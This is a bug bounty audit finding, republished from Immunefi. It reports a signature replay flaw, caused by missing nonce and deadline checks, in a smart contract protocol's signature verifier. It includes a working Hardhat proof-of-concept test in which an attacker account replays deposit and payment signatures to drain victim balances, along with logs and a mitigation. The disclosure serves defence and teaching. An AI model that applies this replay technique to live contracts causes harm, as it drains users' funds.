Skip to content
Smart contracts Audit finding Intermediate

Signature replay vulnerability due to missing nonce and deadline checks

The signature verification library checked signatures without a nonce or deadline, so a valid signature could be replayed on the same chain. An attacker could reuse a venue or customer signature to force repeated deposits or payments from the victim's wallet.

TECHFUND_inc Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

57373 sc medium signature replay vulnerability due to missing nonce and deadline checks

Submitted on Oct 25th 2025 at 16:04:58 UTC by @TECHFUND_inc for Audit Comp | Belong

Description

Brief/Intro

The protocol verifies signatures without nonces, allowing attackers to replay valid signatures. It also lacks deadline mechanisms, creating replay vulnerabilities.

Example (also present in checkCustomerInfo()):

Solidity
    function checkVenueInfo(
        address signer,
        VenueInfo calldata venueInfo
    ) external view {
       //@> Nonce and deadline parameretrs are missing
        require(
            signer.isValidSignatureNow(
                keccak256(
                    abi.encodePacked(
                        venueInfo.venue,
                        venueInfo.referralCode,
                        venueInfo.uri,
                        block.chainid
                    )
                ),
                venueInfo.signature
            ),
            InvalidSignature()
        );
    }

Vulnerability Details

The SignatureVerifier library lacks nonce or timestamp (deadline) checks, allowing signatures to be replayed on the same chain. The same valid signature can be reused multiple times. For example, a venue deposit signature can be replayed to force multiple deposits, or a customer payment signature can be replayed to make duplicate payments.

Impact Details

Attackers can replay valid signatures to force venue creators and venue customers to make multiple deposits, draining their funds.

Mitigation

Consider implementing nonce and deadline checks in SignatureVerifier functions. Example implementation pattern:

Solidity
    function checkVenueInfo(
        address signer,
        VenueInfo calldata venueInfo,
    ) external view {
         // @> Ensure the signature is still valid (not expired)
        require(block.timestamp <= venueInfo.deadline, "EXPIRED");
         // @> Ensure the same signature cannot be replayed
        require(VenueInfo.nonce == nonces[VenueInfo.customer] + 1, "REPLAY");
        require(
            signer.isValidSignatureNow(
                keccak256(
                    abi.encodePacked(
                        VenueInfo.nonce, // @> Critical: include nonce in hash
                        venueInfo.venue,
                        venueInfo.referralCode,
                        venueInfo.uri,
                        block.chainid
                    )
                ),
                venueInfo.signature
            ),
            InvalidSignature()
        );
        nonces[VenueInfo.customer]++;
    }

(Keep in mind to adapt naming, typings and storage layout to the actual contract code. The above is a conceptual example showing inclusion of nonce and deadline and incrementing nonce after successful verification.)

Proof of Concept

{% stepper %} {% step %}

Setup: add attacker to fixture

Add an attacker address to the test fixture:

TypeScript
async function fixture() {
  //@audit - adding attacker address
  const [admin, treasury, manager, minter, burner, pauser, referral, attacker] = await ethers.getSigners();
  //
}

{% endstep %}

{% step %}

Attack POC test

Add the following test and run:

yarn hardhat test test/v2/platform/belong-check-in.test.ts --grep "Attack POC"

TypeScript
describe('Attack POC', () => {
  it('Signature replayAttack', async () => {
    const { belongCheckIn, signer, USDC, USDC_whale, ENA_whale, attacker } = await loadFixture(fixture);

    const uri = 'uriuri';
    const venueAmount = await u(100, USDC);
    const venueAmount2 = await u(50, USDC);

    const venue = USDC_whale.address;
    const venueMessage = ethers.utils.solidityKeccak256(
      ['address', 'bytes32', 'string', 'uint256'],
      [venue, ethers.constants.HashZero, uri, chainId],
    );
    const venueSignature = EthCrypto.sign(signer.privateKey, venueMessage);
    const venueInfo: VenueInfoStruct = {
      rules: { paymentType: 1, bountyType: 0, longPaymentType: 0 } as VenueRulesStruct,
      venue,
      amount: venueAmount,
      referralCode: ethers.constants.HashZero,
      uri,
      signature: venueSignature,
    };
    const willBeTaken = convenienceFeeAmount.add(venueAmount);
    await USDC.connect(USDC_whale).approve(belongCheckIn.address, willBeTaken.mul(5));
    const venueBalance_before = await USDC.balanceOf(USDC_whale.address);

    await belongCheckIn.connect(USDC_whale).venueDeposit(venueInfo);
    //@audit - attacker were able to successfully replay the signature of Venue creator and force their wallet to deposit multiple times
    await belongCheckIn.connect(attacker).venueDeposit(venueInfo);
    await belongCheckIn.connect(attacker).venueDeposit(venueInfo);
    await belongCheckIn.connect(attacker).venueDeposit(venueInfo);

    const customerAmount = await u(5, USDC);
    const customerMessage = ethers.utils.solidityKeccak256(
      ['bool', 'uint128', 'uint24', 'address', 'address', 'address', 'uint256', 'uint256'],
      [
        true, // paymentInUSDC
        0, // visitBountyAmount (uint24, adjust to uint256 if needed)
        0, // spendBountyPercentage (uint24, adjust to uint256 if needed)
        ENA_whale.address, // customer
        USDC_whale.address, // venueToPayFor
        ethers.constants.AddressZero, // promoter
        customerAmount, // amount
        chainId, // block.chainid
      ],
    );
    const customerSignature = EthCrypto.sign(signer.privateKey, customerMessage);
    const customerInfo: CustomerInfoStruct = {
      paymentInUSDC: true,
      visitBountyAmount: 0,
      spendBountyPercentage: 0,
      customer: ENA_whale.address,
      venueToPayFor: USDC_whale.address,
      promoter: ethers.constants.AddressZero,
      amount: customerAmount,
      signature: customerSignature,
    };
    await USDC.connect(USDC_whale).transfer(ENA_whale.address, customerAmount.mul(10));
    await USDC.connect(ENA_whale).approve(belongCheckIn.address, customerAmount.mul(5));

    const customerBalance_before = await USDC.balanceOf(ENA_whale.address);
    const tx = await belongCheckIn.connect(ENA_whale).payToVenue(customerInfo);
    //@audit - attacker were able to successfully replay the signature of payToVenue customer and force their wallet to deposit multiple times

    await belongCheckIn.connect(attacker).payToVenue(customerInfo);
    await belongCheckIn.connect(attacker).payToVenue(customerInfo);
    await belongCheckIn.connect(attacker).payToVenue(customerInfo);

    await expect(tx)
      .to.emit(belongCheckIn, 'CustomerPaid')
      .withArgs(
        ENA_whale.address,
        USDC_whale.address,
        ethers.constants.AddressZero,
        customerAmount,
        customerInfo.visitBountyAmount,
        customerInfo.spendBountyPercentage,
      );

    const venueBalance_ActualBalance = await USDC.balanceOf(USDC_whale.address);
    const venueBalance_ExpectedBalance = venueBalance_before.sub(willBeTaken);

    const customerBalance_ActualBalance = await USDC.balanceOf(ENA_whale.address);
    const customerBalance_ExpectedBalance = customerBalance_before.sub(customerAmount);

    console.log(`venueBalance_ExpectedBalance: ${venueBalance_ExpectedBalance}`);

    console.log(`venueBalance_ActualBalance: ${venueBalance_ActualBalance}`);
    console.log(
      `Loss of Amount because of this attack: ${venueBalance_ExpectedBalance.sub(venueBalance_ActualBalance)}`,
    );

    console.log(`customerBalance_ActualBalance: ${customerBalance_ActualBalance}`);
    console.log(`customerBalance_ExpectedBalance: ${customerBalance_ExpectedBalance}`);
    console.log(
      `Loss of Amount because of this attack: ${customerBalance_ExpectedBalance.sub(customerBalance_ActualBalance)}`,
    );
  });
});

{% endstep %}

{% step %}

Observed logs

<details> <summary>Test run logs</summary>
JavaScript
Logs:
venueBalance_ExpectedBalance: 39958999022380
venueBalance_ActualBalance: 39958644022380
Loss of Amount because of this attack: 355000000
customerBalance_ActualBalance: 30000000
customerBalance_ExpectedBalance: 45000000
Loss of Amount because of this attack: 15000000
      ✔ Signature replayAttack (1766ms)


  1 passing (4s)

Done in 4.95s.
</details> {% endstep %} {% endstepper %}

Notes

  • Do not change the semantics of the verification logic beyond adding nonce and deadline checks; ensure signatures include any newly required fields (nonce, deadline) in the signed payload so that off-chain signers produce signatures that bind to these fields.
  • When adding nonces, choose appropriate granularity for the nonce key (per-user/per-venue/per-customer) based on intended guarantees.
  • Consider using EIP-712 typed structured data for signing to avoid issues with abi.encodePacked collisions and improve clarity.

The original report as published on Immunefi, by TECHFUND_inc. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The signed message omitted a nonce and a deadline, so the contract could not tell a fresh authorisation from a reused one.

Impact

Attackers could replay valid signatures to force venue creators and customers to make multiple deposits or payments, draining their funds.

What the attacker needed

A valid signature from the victim; attacker can submit transactions; no nonce or deadline in signed data

The fix

Nonce and deadline checks should be added and both fields included in the signed payload, ideally using EIP-712 typed data.

How it was found

  1. Add an attacker account to the test fixture.
  2. Create a valid venue deposit signature and submit it once from the venue creator.
  3. Resubmit the same signature several times from the attacker account.
  4. Create a valid customer payment signature and submit it once from the customer.
  5. Resubmit the same customer signature several times from the attacker account.
  6. Compare balances to see the extra funds taken.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A signature is a cryptographic stamp proving the owner approved a specific action, like a deposit. Here the stamp did not include a one-time number or an expiry, so the same stamp stayed valid forever and anyone could submit it again. Each resubmission made the victim's wallet pay again.

What is Smart contracts?

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.

More by TECHFUND_inc

View all

3 more disclosed reports, best first.

More from Belong

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Smart contract vulnerabilities

The lesson behind this report.

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.